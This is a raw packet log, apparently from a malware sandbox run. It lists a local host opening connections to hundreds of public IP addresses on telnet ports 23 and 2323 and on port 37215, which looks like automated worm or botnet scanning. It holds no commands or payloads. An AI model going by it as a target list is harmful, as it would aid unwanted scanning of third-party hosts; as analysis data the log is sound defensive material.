Oct 6, 2024 20:00:44.494872093 CEST	50952	23	192.168.2.15	177.218.64.29
Oct 6, 2024 20:00:44.494878054 CEST	23	50952	48.54.126.29	192.168.2.15
Oct 6, 2024 20:00:44.494887114 CEST	50952	23	192.168.2.15	222.205.246.61
Oct 6, 2024 20:00:44.494889021 CEST	23	50952	202.179.45.3	192.168.2.15
Oct 6, 2024 20:00:44.494893074 CEST	50952	2323	192.168.2.15	38.177.98.49
Oct 6, 2024 20:00:44.494898081 CEST	50952	23	192.168.2.15	196.106.7.24
Oct 6, 2024 20:00:44.494899035 CEST	23	50952	24.25.78.15	192.168.2.15
Oct 6, 2024 20:00:44.494910002 CEST	23	50952	172.168.119.174	192.168.2.15
Oct 6, 2024 20:00:44.494911909 CEST	50952	23	192.168.2.15	48.54.126.29
Oct 6, 2024 20:00:44.494919062 CEST	23	50952	219.168.22.83	192.168.2.15
Oct 6, 2024 20:00:44.494920015 CEST	50952	23	192.168.2.15	202.179.45.3
Oct 6, 2024 20:00:44.494930983 CEST	2323	50952	126.27.243.44	192.168.2.15
Oct 6, 2024 20:00:44.494934082 CEST	50952	23	192.168.2.15	24.25.78.15
Oct 6, 2024 20:00:44.494935989 CEST	50952	23	192.168.2.15	172.168.119.174
Oct 6, 2024 20:00:44.494940996 CEST	50952	23	192.168.2.15	219.168.22.83
Oct 6, 2024 20:00:44.494940996 CEST	23	50952	113.93.85.191	192.168.2.15
Oct 6, 2024 20:00:44.494950056 CEST	23	50952	203.32.117.211	192.168.2.15
Oct 6, 2024 20:00:44.494959116 CEST	23	50952	108.76.126.125	192.168.2.15
Oct 6, 2024 20:00:44.494967937 CEST	23	50952	130.245.150.155	192.168.2.15
Oct 6, 2024 20:00:44.494973898 CEST	50952	23	192.168.2.15	113.93.85.191
Oct 6, 2024 20:00:44.494976997 CEST	23	50952	93.137.195.133	192.168.2.15
Oct 6, 2024 20:00:44.494978905 CEST	50952	2323	192.168.2.15	126.27.243.44
Oct 6, 2024 20:00:44.494983912 CEST	50952	23	192.168.2.15	203.32.117.211
Oct 6, 2024 20:00:44.494985104 CEST	50952	23	192.168.2.15	108.76.126.125
Oct 6, 2024 20:00:44.494987011 CEST	2323	50952	134.240.248.138	192.168.2.15
Oct 6, 2024 20:00:44.494995117 CEST	50952	23	192.168.2.15	130.245.150.155
Oct 6, 2024 20:00:44.494997025 CEST	23	50952	48.249.215.24	192.168.2.15
Oct 6, 2024 20:00:44.494999886 CEST	50952	23	192.168.2.15	93.137.195.133
Oct 6, 2024 20:00:44.495007038 CEST	23	50952	107.63.86.139	192.168.2.15
Oct 6, 2024 20:00:44.495027065 CEST	50952	2323	192.168.2.15	134.240.248.138
Oct 6, 2024 20:00:44.495027065 CEST	50952	23	192.168.2.15	48.249.215.24
Oct 6, 2024 20:00:44.495039940 CEST	50952	23	192.168.2.15	107.63.86.139
Oct 6, 2024 20:00:44.495306015 CEST	23	50952	44.255.36.80	192.168.2.15
Oct 6, 2024 20:00:44.495316029 CEST	23	50952	39.19.191.66	192.168.2.15
Oct 6, 2024 20:00:44.495323896 CEST	23	50952	82.192.97.224	192.168.2.15
Oct 6, 2024 20:00:44.495333910 CEST	23	50952	70.104.198.4	192.168.2.15
Oct 6, 2024 20:00:44.495342970 CEST	23	50952	218.125.255.252	192.168.2.15
Oct 6, 2024 20:00:44.495345116 CEST	50952	23	192.168.2.15	39.19.191.66
Oct 6, 2024 20:00:44.495347023 CEST	50952	23	192.168.2.15	44.255.36.80
Oct 6, 2024 20:00:44.495351076 CEST	50952	23	192.168.2.15	82.192.97.224
Oct 6, 2024 20:00:44.495352030 CEST	23	50952	41.249.193.140	192.168.2.15
Oct 6, 2024 20:00:44.495362043 CEST	23	50952	204.165.172.184	192.168.2.15
Oct 6, 2024 20:00:44.495364904 CEST	50952	23	192.168.2.15	70.104.198.4
Oct 6, 2024 20:00:44.495373011 CEST	23	50952	93.28.154.251	192.168.2.15
Oct 6, 2024 20:00:44.495373011 CEST	50952	23	192.168.2.15	218.125.255.252
Oct 6, 2024 20:00:44.495393991 CEST	50952	23	192.168.2.15	41.249.193.140
Oct 6, 2024 20:00:44.495393991 CEST	50952	23	192.168.2.15	204.165.172.184
Oct 6, 2024 20:00:44.495404959 CEST	50952	23	192.168.2.15	93.28.154.251
Oct 6, 2024 20:00:44.495414019 CEST	2323	50952	148.217.182.255	192.168.2.15
Oct 6, 2024 20:00:44.495450974 CEST	50952	2323	192.168.2.15	148.217.182.255
Oct 6, 2024 20:00:44.496098995 CEST	23	50952	220.80.13.77	192.168.2.15
Oct 6, 2024 20:00:44.496109962 CEST	23	50952	161.251.111.106	192.168.2.15
Oct 6, 2024 20:00:44.496119976 CEST	23	50952	122.251.157.74	192.168.2.15
Oct 6, 2024 20:00:44.496136904 CEST	23	50952	90.41.136.221	192.168.2.15
Oct 6, 2024 20:00:44.496144056 CEST	50952	23	192.168.2.15	220.80.13.77
Oct 6, 2024 20:00:44.496144056 CEST	50952	23	192.168.2.15	122.251.157.74
Oct 6, 2024 20:00:44.496146917 CEST	23	50952	100.9.86.12	192.168.2.15
Oct 6, 2024 20:00:44.496148109 CEST	50952	23	192.168.2.15	161.251.111.106
Oct 6, 2024 20:00:44.496155977 CEST	23	50952	83.127.6.101	192.168.2.15
Oct 6, 2024 20:00:44.496165991 CEST	23	50952	202.202.62.8	192.168.2.15
Oct 6, 2024 20:00:44.496176004 CEST	23	50952	44.235.81.189	192.168.2.15
Oct 6, 2024 20:00:44.496176004 CEST	50952	23	192.168.2.15	90.41.136.221
Oct 6, 2024 20:00:44.496181011 CEST	50952	23	192.168.2.15	100.9.86.12
Oct 6, 2024 20:00:44.496186018 CEST	2323	50952	139.229.225.76	192.168.2.15
Oct 6, 2024 20:00:44.496195078 CEST	23	50952	90.45.23.170	192.168.2.15
Oct 6, 2024 20:00:44.496200085 CEST	50952	23	192.168.2.15	202.202.62.8
Oct 6, 2024 20:00:44.496200085 CEST	50952	23	192.168.2.15	83.127.6.101
Oct 6, 2024 20:00:44.496203899 CEST	23	50952	4.44.233.183	192.168.2.15
Oct 6, 2024 20:00:44.496203899 CEST	50952	23	192.168.2.15	44.235.81.189
Oct 6, 2024 20:00:44.496212959 CEST	23	50952	164.174.107.55	192.168.2.15
Oct 6, 2024 20:00:44.496221066 CEST	50952	2323	192.168.2.15	139.229.225.76
Oct 6, 2024 20:00:44.496221066 CEST	50952	23	192.168.2.15	90.45.23.170
Oct 6, 2024 20:00:44.496222019 CEST	23	50952	181.93.126.41	192.168.2.15
Oct 6, 2024 20:00:44.496231079 CEST	23	50952	102.1.181.25	192.168.2.15
Oct 6, 2024 20:00:44.496237040 CEST	50952	23	192.168.2.15	4.44.233.183
Oct 6, 2024 20:00:44.496242046 CEST	23	50952	163.232.131.126	192.168.2.15
Oct 6, 2024 20:00:44.496248007 CEST	50952	23	192.168.2.15	164.174.107.55
Oct 6, 2024 20:00:44.496248007 CEST	50952	23	192.168.2.15	181.93.126.41
Oct 6, 2024 20:00:44.496251106 CEST	23	50952	160.160.61.159	192.168.2.15
Oct 6, 2024 20:00:44.496260881 CEST	23	50952	171.3.153.197	192.168.2.15
Oct 6, 2024 20:00:44.496265888 CEST	50952	23	192.168.2.15	102.1.181.25
Oct 6, 2024 20:00:44.496270895 CEST	23	50952	85.86.130.100	192.168.2.15
Oct 6, 2024 20:00:44.496273041 CEST	50952	23	192.168.2.15	163.232.131.126
Oct 6, 2024 20:00:44.496280909 CEST	23	50952	203.229.201.67	192.168.2.15
Oct 6, 2024 20:00:44.496284008 CEST	50952	23	192.168.2.15	160.160.61.159
Oct 6, 2024 20:00:44.496292114 CEST	50952	23	192.168.2.15	171.3.153.197
Oct 6, 2024 20:00:44.496293068 CEST	23	50952	38.19.2.203	192.168.2.15
Oct 6, 2024 20:00:44.496301889 CEST	2323	50952	169.89.227.42	192.168.2.15
Oct 6, 2024 20:00:44.496304989 CEST	50952	23	192.168.2.15	85.86.130.100
Oct 6, 2024 20:00:44.496308088 CEST	50952	23	192.168.2.15	203.229.201.67
Oct 6, 2024 20:00:44.496313095 CEST	23	50952	98.37.19.86	192.168.2.15
Oct 6, 2024 20:00:44.496323109 CEST	23	50952	188.173.35.244	192.168.2.15
Oct 6, 2024 20:00:44.496330976 CEST	50952	23	192.168.2.15	38.19.2.203
Oct 6, 2024 20:00:44.496331930 CEST	23	50952	133.221.186.229	192.168.2.15
Oct 6, 2024 20:00:44.496335030 CEST	50952	2323	192.168.2.15	169.89.227.42
Oct 6, 2024 20:00:44.496341944 CEST	23	50952	217.0.3.144	192.168.2.15
Oct 6, 2024 20:00:44.496344090 CEST	50952	23	192.168.2.15	98.37.19.86
Oct 6, 2024 20:00:44.496351957 CEST	23	50952	204.125.232.130	192.168.2.15
Oct 6, 2024 20:00:44.496356964 CEST	50952	23	192.168.2.15	188.173.35.244
Oct 6, 2024 20:00:44.496359110 CEST	50952	23	192.168.2.15	133.221.186.229
Oct 6, 2024 20:00:44.496364117 CEST	50952	23	192.168.2.15	217.0.3.144
Oct 6, 2024 20:00:44.496365070 CEST	23	50952	46.17.29.176	192.168.2.15
Oct 6, 2024 20:00:44.496375084 CEST	23	50952	222.61.82.110	192.168.2.15
Oct 6, 2024 20:00:44.496383905 CEST	23	50952	136.2.2.151	192.168.2.15
Oct 6, 2024 20:00:44.496388912 CEST	50952	23	192.168.2.15	204.125.232.130
Oct 6, 2024 20:00:44.496392965 CEST	2323	50952	172.223.145.65	192.168.2.15
Oct 6, 2024 20:00:44.496402979 CEST	23	50952	78.131.141.6	192.168.2.15
Oct 6, 2024 20:00:44.496403933 CEST	50952	23	192.168.2.15	222.61.82.110
Oct 6, 2024 20:00:44.496406078 CEST	50952	23	192.168.2.15	46.17.29.176
Oct 6, 2024 20:00:44.496409893 CEST	50952	23	192.168.2.15	136.2.2.151
Oct 6, 2024 20:00:44.496412039 CEST	23	50952	19.118.113.11	192.168.2.15
Oct 6, 2024 20:00:44.496422052 CEST	50952	2323	192.168.2.15	172.223.145.65
Oct 6, 2024 20:00:44.496422052 CEST	23	50952	194.107.167.239	192.168.2.15
Oct 6, 2024 20:00:44.496433020 CEST	23	50952	86.9.92.54	192.168.2.15
Oct 6, 2024 20:00:44.496436119 CEST	50952	23	192.168.2.15	78.131.141.6
Oct 6, 2024 20:00:44.496443033 CEST	23	50952	95.1.120.107	192.168.2.15
Oct 6, 2024 20:00:44.496443987 CEST	50952	23	192.168.2.15	19.118.113.11
Oct 6, 2024 20:00:44.496453047 CEST	23	50952	196.112.183.142	192.168.2.15
Oct 6, 2024 20:00:44.496460915 CEST	50952	23	192.168.2.15	194.107.167.239
Oct 6, 2024 20:00:44.496462107 CEST	23	50952	209.41.141.122	192.168.2.15
Oct 6, 2024 20:00:44.496465921 CEST	50952	23	192.168.2.15	86.9.92.54
Oct 6, 2024 20:00:44.496469975 CEST	50952	23	192.168.2.15	95.1.120.107
Oct 6, 2024 20:00:44.496473074 CEST	23	50952	79.66.140.62	192.168.2.15
Oct 6, 2024 20:00:44.496483088 CEST	23	50952	68.171.62.32	192.168.2.15
Oct 6, 2024 20:00:44.496485949 CEST	50952	23	192.168.2.15	209.41.141.122
Oct 6, 2024 20:00:44.496490002 CEST	50952	23	192.168.2.15	196.112.183.142
Oct 6, 2024 20:00:44.496491909 CEST	2323	50952	177.62.228.171	192.168.2.15
Oct 6, 2024 20:00:44.496500969 CEST	23	50952	160.224.133.8	192.168.2.15
Oct 6, 2024 20:00:44.496505022 CEST	50952	23	192.168.2.15	79.66.140.62
Oct 6, 2024 20:00:44.496510983 CEST	23	50952	160.50.93.189	192.168.2.15
Oct 6, 2024 20:00:44.496515036 CEST	50952	23	192.168.2.15	68.171.62.32
Oct 6, 2024 20:00:44.496520996 CEST	23	50952	34.233.95.74	192.168.2.15
Oct 6, 2024 20:00:44.496527910 CEST	50952	2323	192.168.2.15	177.62.228.171
Oct 6, 2024 20:00:44.496527910 CEST	50952	23	192.168.2.15	160.224.133.8
Oct 6, 2024 20:00:44.496535063 CEST	23	50952	171.108.72.1	192.168.2.15
Oct 6, 2024 20:00:44.496545076 CEST	23	50952	203.168.86.90	192.168.2.15
Oct 6, 2024 20:00:44.496547937 CEST	50952	23	192.168.2.15	160.50.93.189
Oct 6, 2024 20:00:44.496556997 CEST	23	50952	14.10.13.225	192.168.2.15
Oct 6, 2024 20:00:44.496562004 CEST	50952	23	192.168.2.15	34.233.95.74
Oct 6, 2024 20:00:44.496565104 CEST	50952	23	192.168.2.15	171.108.72.1
Oct 6, 2024 20:00:44.496567011 CEST	23	50952	158.84.206.219	192.168.2.15
Oct 6, 2024 20:00:44.496572971 CEST	50952	23	192.168.2.15	203.168.86.90
Oct 6, 2024 20:00:44.496577978 CEST	23	50952	148.129.88.164	192.168.2.15
Oct 6, 2024 20:00:44.496588945 CEST	23	50952	77.177.122.148	192.168.2.15
Oct 6, 2024 20:00:44.496592999 CEST	50952	23	192.168.2.15	158.84.206.219
Oct 6, 2024 20:00:44.496593952 CEST	50952	23	192.168.2.15	14.10.13.225
Oct 6, 2024 20:00:44.496601105 CEST	2323	50952	164.147.114.35	192.168.2.15
Oct 6, 2024 20:00:44.496608019 CEST	50952	23	192.168.2.15	148.129.88.164
Oct 6, 2024 20:00:44.496612072 CEST	23	50952	78.82.233.127	192.168.2.15
Oct 6, 2024 20:00:44.496618032 CEST	50952	23	192.168.2.15	77.177.122.148
Oct 6, 2024 20:00:44.496632099 CEST	50952	2323	192.168.2.15	164.147.114.35
Oct 6, 2024 20:00:44.496637106 CEST	50952	23	192.168.2.15	78.82.233.127
Oct 6, 2024 20:00:44.496656895 CEST	23	50952	216.62.206.0	192.168.2.15
Oct 6, 2024 20:00:44.496668100 CEST	23	50952	152.252.124.117	192.168.2.15
Oct 6, 2024 20:00:44.496676922 CEST	23	50952	175.192.208.42	192.168.2.15
Oct 6, 2024 20:00:44.496685982 CEST	23	50952	120.208.81.142	192.168.2.15
Oct 6, 2024 20:00:44.496692896 CEST	50952	23	192.168.2.15	216.62.206.0
Oct 6, 2024 20:00:44.496695042 CEST	23	50952	36.132.77.177	192.168.2.15
Oct 6, 2024 20:00:44.496695995 CEST	50952	23	192.168.2.15	152.252.124.117
Oct 6, 2024 20:00:44.496704102 CEST	50952	23	192.168.2.15	175.192.208.42
Oct 6, 2024 20:00:44.496705055 CEST	23	50952	48.112.185.118	192.168.2.15
Oct 6, 2024 20:00:44.496710062 CEST	50952	23	192.168.2.15	120.208.81.142
Oct 6, 2024 20:00:44.496715069 CEST	23	50952	60.141.210.17	192.168.2.15
Oct 6, 2024 20:00:44.496725082 CEST	23	50952	9.219.243.135	192.168.2.15
Oct 6, 2024 20:00:44.496731997 CEST	50952	23	192.168.2.15	36.132.77.177
Oct 6, 2024 20:00:44.496733904 CEST	50952	23	192.168.2.15	48.112.185.118
Oct 6, 2024 20:00:44.496735096 CEST	2323	50952	126.73.153.212	192.168.2.15
Oct 6, 2024 20:00:44.496748924 CEST	50952	23	192.168.2.15	9.219.243.135
Oct 6, 2024 20:00:44.496752024 CEST	23	50952	4.30.243.71	192.168.2.15
Oct 6, 2024 20:00:44.496753931 CEST	50952	23	192.168.2.15	60.141.210.17
Oct 6, 2024 20:00:44.496762037 CEST	23	50952	167.59.121.184	192.168.2.15
Oct 6, 2024 20:00:44.496764898 CEST	50952	2323	192.168.2.15	126.73.153.212
Oct 6, 2024 20:00:44.496771097 CEST	23	50952	57.58.93.52	192.168.2.15
Oct 6, 2024 20:00:44.496779919 CEST	23	50952	122.253.5.138	192.168.2.15
Oct 6, 2024 20:00:44.496786118 CEST	50952	23	192.168.2.15	4.30.243.71
Oct 6, 2024 20:00:44.496787071 CEST	50952	23	192.168.2.15	167.59.121.184
Oct 6, 2024 20:00:44.496788979 CEST	23	50952	74.225.114.8	192.168.2.15
Oct 6, 2024 20:00:44.496798992 CEST	23	50952	120.116.45.138	192.168.2.15
Oct 6, 2024 20:00:44.496804953 CEST	50952	23	192.168.2.15	57.58.93.52
Oct 6, 2024 20:00:44.496808052 CEST	23	50952	157.227.232.144	192.168.2.15
Oct 6, 2024 20:00:44.496808052 CEST	50952	23	192.168.2.15	122.253.5.138
Oct 6, 2024 20:00:44.496815920 CEST	23	50952	167.69.239.107	192.168.2.15
Oct 6, 2024 20:00:44.496822119 CEST	50952	23	192.168.2.15	74.225.114.8
Oct 6, 2024 20:00:44.496825933 CEST	50952	23	192.168.2.15	120.116.45.138
Oct 6, 2024 20:00:44.496826887 CEST	23	50952	97.80.191.243	192.168.2.15
Oct 6, 2024 20:00:44.496834993 CEST	50952	23	192.168.2.15	157.227.232.144
Oct 6, 2024 20:00:44.496835947 CEST	2323	50952	190.91.68.147	192.168.2.15
Oct 6, 2024 20:00:44.496844053 CEST	50952	23	192.168.2.15	167.69.239.107
Oct 6, 2024 20:00:44.496846914 CEST	23	50952	113.173.147.22	192.168.2.15
Oct 6, 2024 20:00:44.496853113 CEST	50952	23	192.168.2.15	97.80.191.243
Oct 6, 2024 20:00:44.496857882 CEST	23	50952	23.38.134.62	192.168.2.15
Oct 6, 2024 20:00:44.496864080 CEST	50952	2323	192.168.2.15	190.91.68.147
Oct 6, 2024 20:00:44.496867895 CEST	23	50952	182.145.216.206	192.168.2.15
Oct 6, 2024 20:00:44.496877909 CEST	23	50952	138.2.194.195	192.168.2.15
Oct 6, 2024 20:00:44.496879101 CEST	50952	23	192.168.2.15	113.173.147.22
Oct 6, 2024 20:00:44.496889114 CEST	50952	23	192.168.2.15	23.38.134.62
Oct 6, 2024 20:00:44.496889114 CEST	50952	23	192.168.2.15	182.145.216.206
Oct 6, 2024 20:00:44.496911049 CEST	50952	23	192.168.2.15	138.2.194.195
Oct 6, 2024 20:00:44.496999025 CEST	23	50952	171.0.150.211	192.168.2.15
Oct 6, 2024 20:00:44.497009993 CEST	23	50952	18.50.97.21	192.168.2.15
Oct 6, 2024 20:00:44.497019053 CEST	23	50952	177.216.168.27	192.168.2.15
Oct 6, 2024 20:00:44.497028112 CEST	23	50952	82.101.134.102	192.168.2.15
Oct 6, 2024 20:00:44.497036934 CEST	23	50952	149.225.101.254	192.168.2.15
Oct 6, 2024 20:00:44.497040033 CEST	50952	23	192.168.2.15	171.0.150.211
Oct 6, 2024 20:00:44.497044086 CEST	50952	23	192.168.2.15	18.50.97.21
Oct 6, 2024 20:00:44.497045994 CEST	2323	50952	117.143.37.195	192.168.2.15
Oct 6, 2024 20:00:44.497055054 CEST	50952	23	192.168.2.15	177.216.168.27
Oct 6, 2024 20:00:44.497062922 CEST	23	50952	84.89.111.117	192.168.2.15
Oct 6, 2024 20:00:44.497062922 CEST	50952	23	192.168.2.15	149.225.101.254
Oct 6, 2024 20:00:44.497064114 CEST	50952	23	192.168.2.15	82.101.134.102
Oct 6, 2024 20:00:44.497083902 CEST	23	50952	32.218.145.148	192.168.2.15
Oct 6, 2024 20:00:44.497086048 CEST	50952	2323	192.168.2.15	117.143.37.195
Oct 6, 2024 20:00:44.497092009 CEST	50952	23	192.168.2.15	84.89.111.117
Oct 6, 2024 20:00:44.497095108 CEST	23	50952	1.168.0.247	192.168.2.15
Oct 6, 2024 20:00:44.497103930 CEST	23	50952	66.48.89.123	192.168.2.15
Oct 6, 2024 20:00:44.497113943 CEST	23	50952	98.61.120.21	192.168.2.15
Oct 6, 2024 20:00:44.497117043 CEST	50952	23	192.168.2.15	32.218.145.148
Oct 6, 2024 20:00:44.497117996 CEST	50952	23	192.168.2.15	1.168.0.247
Oct 6, 2024 20:00:44.497123003 CEST	23	50952	12.155.252.130	192.168.2.15
Oct 6, 2024 20:00:44.497132063 CEST	23	50952	147.67.120.167	192.168.2.15
Oct 6, 2024 20:00:44.497133017 CEST	50952	23	192.168.2.15	66.48.89.123
Oct 6, 2024 20:00:44.497133017 CEST	50952	23	192.168.2.15	98.61.120.21
Oct 6, 2024 20:00:44.497142076 CEST	23	50952	202.220.211.235	192.168.2.15
Oct 6, 2024 20:00:44.497152090 CEST	23	50952	19.182.48.134	192.168.2.15
Oct 6, 2024 20:00:44.497155905 CEST	50952	23	192.168.2.15	12.155.252.130
Oct 6, 2024 20:00:44.497155905 CEST	50952	23	192.168.2.15	147.67.120.167
Oct 6, 2024 20:00:44.497174978 CEST	50952	23	192.168.2.15	202.220.211.235
Oct 6, 2024 20:00:44.497183084 CEST	50952	23	192.168.2.15	19.182.48.134
Oct 6, 2024 20:00:44.498249054 CEST	89	45652	104.248.167.251	192.168.2.15
Oct 6, 2024 20:00:44.498296976 CEST	45652	89	192.168.2.15	104.248.167.251
Oct 6, 2024 20:00:44.498318911 CEST	45652	89	192.168.2.15	104.248.167.251
Oct 6, 2024 20:00:44.503123999 CEST	89	45652	104.248.167.251	192.168.2.15
Oct 6, 2024 20:00:45.480849028 CEST	49416	37215	192.168.2.15	156.18.49.81
Oct 6, 2024 20:00:45.480849028 CEST	49416	37215	192.168.2.15	41.125.113.186
Oct 6, 2024 20:00:45.480854988 CEST	49416	37215	192.168.2.15	41.92.217.226
Oct 6, 2024 20:00:45.480885029 CEST	49416	37215	192.168.2.15	156.93.120.74
Oct 6, 2024 20:00:45.480894089 CEST	49416	37215	192.168.2.15	156.253.159.241
Oct 6, 2024 20:00:45.480897903 CEST	49416	37215	192.168.2.15	41.255.197.227
Oct 6, 2024 20:00:45.480897903 CEST	49416	37215	192.168.2.15	156.60.42.234
Oct 6, 2024 20:00:45.480899096 CEST	49416	37215	192.168.2.15	156.134.91.205
Oct 6, 2024 20:00:45.480899096 CEST	49416	37215	192.168.2.15	41.9.79.204
Oct 6, 2024 20:00:45.480899096 CEST	49416	37215	192.168.2.15	156.150.233.52
Oct 6, 2024 20:00:45.480902910 CEST	49416	37215	192.168.2.15	41.73.141.147
Oct 6, 2024 20:00:45.480902910 CEST	49416	37215	192.168.2.15	41.163.89.182
Oct 6, 2024 20:00:45.480904102 CEST	49416	37215	192.168.2.15	156.53.223.43
Oct 6, 2024 20:00:45.480902910 CEST	49416	37215	192.168.2.15	41.153.119.82
Oct 6, 2024 20:00:45.480904102 CEST	49416	37215	192.168.2.15	197.233.7.198
Oct 6, 2024 20:00:45.480904102 CEST	49416	37215	192.168.2.15	197.47.218.162
Oct 6, 2024 20:00:45.480904102 CEST	49416	37215	192.168.2.15	197.53.181.223
Oct 6, 2024 20:00:45.480904102 CEST	49416	37215	192.168.2.15	156.65.45.203
Oct 6, 2024 20:00:45.480909109 CEST	49416	37215	192.168.2.15	41.157.219.31
Oct 6, 2024 20:00:45.480909109 CEST	49416	37215	192.168.2.15	156.9.51.140
Oct 6, 2024 20:00:45.480909109 CEST	49416	37215	192.168.2.15	197.201.1.34
Oct 6, 2024 20:00:45.480909109 CEST	49416	37215	192.168.2.15	156.129.100.80
Oct 6, 2024 20:00:45.480922937 CEST	49416	37215	192.168.2.15	41.125.149.213
Oct 6, 2024 20:00:45.480922937 CEST	49416	37215	192.168.2.15	197.220.229.102
Oct 6, 2024 20:00:45.480928898 CEST	49416	37215	192.168.2.15	41.255.179.108
Oct 6, 2024 20:00:45.480928898 CEST	49416	37215	192.168.2.15	156.62.189.199
Oct 6, 2024 20:00:45.480928898 CEST	49416	37215	192.168.2.15	197.165.116.1
Oct 6, 2024 20:00:45.480928898 CEST	49416	37215	192.168.2.15	156.55.99.115
Oct 6, 2024 20:00:45.480936050 CEST	49416	37215	192.168.2.15	197.31.255.123
Oct 6, 2024 20:00:45.480936050 CEST	49416	37215	192.168.2.15	197.252.76.234
Oct 6, 2024 20:00:45.480942965 CEST	49416	37215	192.168.2.15	197.90.6.228
Oct 6, 2024 20:00:45.480942965 CEST	49416	37215	192.168.2.15	197.76.228.37
Oct 6, 2024 20:00:45.480942965 CEST	49416	37215	192.168.2.15	41.231.45.36
Oct 6, 2024 20:00:45.480942965 CEST	49416	37215	192.168.2.15	41.171.37.150
Oct 6, 2024 20:00:45.480947018 CEST	49416	37215	192.168.2.15	41.208.235.121
Oct 6, 2024 20:00:45.480947018 CEST	49416	37215	192.168.2.15	41.68.90.78
Oct 6, 2024 20:00:45.480947018 CEST	49416	37215	192.168.2.15	156.116.74.234
Oct 6, 2024 20:00:45.480947018 CEST	49416	37215	192.168.2.15	156.26.20.240
Oct 6, 2024 20:00:45.480957031 CEST	49416	37215	192.168.2.15	156.46.209.25
Oct 6, 2024 20:00:45.480967045 CEST	49416	37215	192.168.2.15	197.136.158.169
Oct 6, 2024 20:00:45.480967045 CEST	49416	37215	192.168.2.15	197.96.119.147
Oct 6, 2024 20:00:45.480981112 CEST	49416	37215	192.168.2.15	41.101.144.109
Oct 6, 2024 20:00:45.480982065 CEST	49416	37215	192.168.2.15	197.80.24.0
Oct 6, 2024 20:00:45.480982065 CEST	49416	37215	192.168.2.15	156.171.42.6
Oct 6, 2024 20:00:45.480982065 CEST	49416	37215	192.168.2.15	197.104.3.143
Oct 6, 2024 20:00:45.480982065 CEST	49416	37215	192.168.2.15	197.172.72.228
Oct 6, 2024 20:00:45.480993986 CEST	49416	37215	192.168.2.15	197.2.177.226
Oct 6, 2024 20:00:45.480993986 CEST	49416	37215	192.168.2.15	156.223.245.100
Oct 6, 2024 20:00:45.480993986 CEST	49416	37215	192.168.2.15	41.125.63.144
Oct 6, 2024 20:00:45.480997086 CEST	49416	37215	192.168.2.15	41.71.156.105
Oct 6, 2024 20:00:45.481012106 CEST	49416	37215	192.168.2.15	41.150.114.202
Oct 6, 2024 20:00:45.481026888 CEST	49416	37215	192.168.2.15	197.227.9.217
Oct 6, 2024 20:00:45.481026888 CEST	49416	37215	192.168.2.15	156.232.13.9
Oct 6, 2024 20:00:45.481029034 CEST	49416	37215	192.168.2.15	41.37.255.29
Oct 6, 2024 20:00:45.481029034 CEST	49416	37215	192.168.2.15	41.10.167.34
Oct 6, 2024 20:00:45.481029034 CEST	49416	37215	192.168.2.15	41.114.70.85
Oct 6, 2024 20:00:45.481029034 CEST	49416	37215	192.168.2.15	156.118.153.204
Oct 6, 2024 20:00:45.481029987 CEST	49416	37215	192.168.2.15	41.122.139.19
Oct 6, 2024 20:00:45.481029034 CEST	49416	37215	192.168.2.15	156.147.152.174
Oct 6, 2024 20:00:45.481029987 CEST	49416	37215	192.168.2.15	156.173.133.196
Oct 6, 2024 20:00:45.481029034 CEST	49416	37215	192.168.2.15	197.155.48.223
Oct 6, 2024 20:00:45.481033087 CEST	49416	37215	192.168.2.15	156.186.217.138
Oct 6, 2024 20:00:45.481029034 CEST	49416	37215	192.168.2.15	41.161.17.42
Oct 6, 2024 20:00:45.481029034 CEST	49416	37215	192.168.2.15	197.149.242.53
Oct 6, 2024 20:00:45.481029034 CEST	49416	37215	192.168.2.15	41.102.145.167
Oct 6, 2024 20:00:45.481029034 CEST	49416	37215	192.168.2.15	41.70.252.242
Oct 6, 2024 20:00:45.481034994 CEST	49416	37215	192.168.2.15	41.137.73.224
Oct 6, 2024 20:00:45.481034994 CEST	49416	37215	192.168.2.15	41.117.203.12
Oct 6, 2024 20:00:45.481034994 CEST	49416	37215	192.168.2.15	41.209.14.44
Oct 6, 2024 20:00:45.481034994 CEST	49416	37215	192.168.2.15	156.213.195.138
Oct 6, 2024 20:00:45.481034994 CEST	49416	37215	192.168.2.15	197.136.54.214
Oct 6, 2024 20:00:45.481034994 CEST	49416	37215	192.168.2.15	156.189.18.71
Oct 6, 2024 20:00:45.481050968 CEST	49416	37215	192.168.2.15	197.82.165.180
Oct 6, 2024 20:00:45.481050968 CEST	49416	37215	192.168.2.15	156.39.182.13
Oct 6, 2024 20:00:45.481050968 CEST	49416	37215	192.168.2.15	197.95.118.92
Oct 6, 2024 20:00:45.481056929 CEST	49416	37215	192.168.2.15	41.58.229.17
Oct 6, 2024 20:00:45.481056929 CEST	49416	37215	192.168.2.15	197.43.102.49
Oct 6, 2024 20:00:45.481056929 CEST	49416	37215	192.168.2.15	156.154.36.82
Oct 6, 2024 20:00:45.481056929 CEST	49416	37215	192.168.2.15	156.213.92.215
Oct 6, 2024 20:00:45.481056929 CEST	49416	37215	192.168.2.15	156.124.110.115
Oct 6, 2024 20:00:45.481056929 CEST	49416	37215	192.168.2.15	41.163.208.172
Oct 6, 2024 20:00:45.481060982 CEST	49416	37215	192.168.2.15	41.1.170.191
Oct 6, 2024 20:00:45.481060982 CEST	49416	37215	192.168.2.15	156.176.77.198
Oct 6, 2024 20:00:45.481060982 CEST	49416	37215	192.168.2.15	41.238.42.156
Oct 6, 2024 20:00:45.481060982 CEST	49416	37215	192.168.2.15	197.186.119.11
Oct 6, 2024 20:00:45.481065035 CEST	49416	37215	192.168.2.15	197.179.98.82
Oct 6, 2024 20:00:45.481065035 CEST	49416	37215	192.168.2.15	197.254.82.90
Oct 6, 2024 20:00:45.481065035 CEST	49416	37215	192.168.2.15	41.99.187.147
Oct 6, 2024 20:00:45.481066942 CEST	49416	37215	192.168.2.15	156.245.239.233
Oct 6, 2024 20:00:45.481066942 CEST	49416	37215	192.168.2.15	156.201.212.215
Oct 6, 2024 20:00:45.481066942 CEST	49416	37215	192.168.2.15	156.81.111.77
Oct 6, 2024 20:00:45.481067896 CEST	49416	37215	192.168.2.15	41.235.66.5
Oct 6, 2024 20:00:45.481066942 CEST	49416	37215	192.168.2.15	41.8.150.96
Oct 6, 2024 20:00:45.481067896 CEST	49416	37215	192.168.2.15	41.70.52.28
Oct 6, 2024 20:00:45.481067896 CEST	49416	37215	192.168.2.15	41.11.185.106
Oct 6, 2024 20:00:45.481067896 CEST	49416	37215	192.168.2.15	197.18.100.94
Oct 6, 2024 20:00:45.481087923 CEST	49416	37215	192.168.2.15	197.243.39.237
Oct 6, 2024 20:00:45.481106043 CEST	49416	37215	192.168.2.15	197.146.5.104
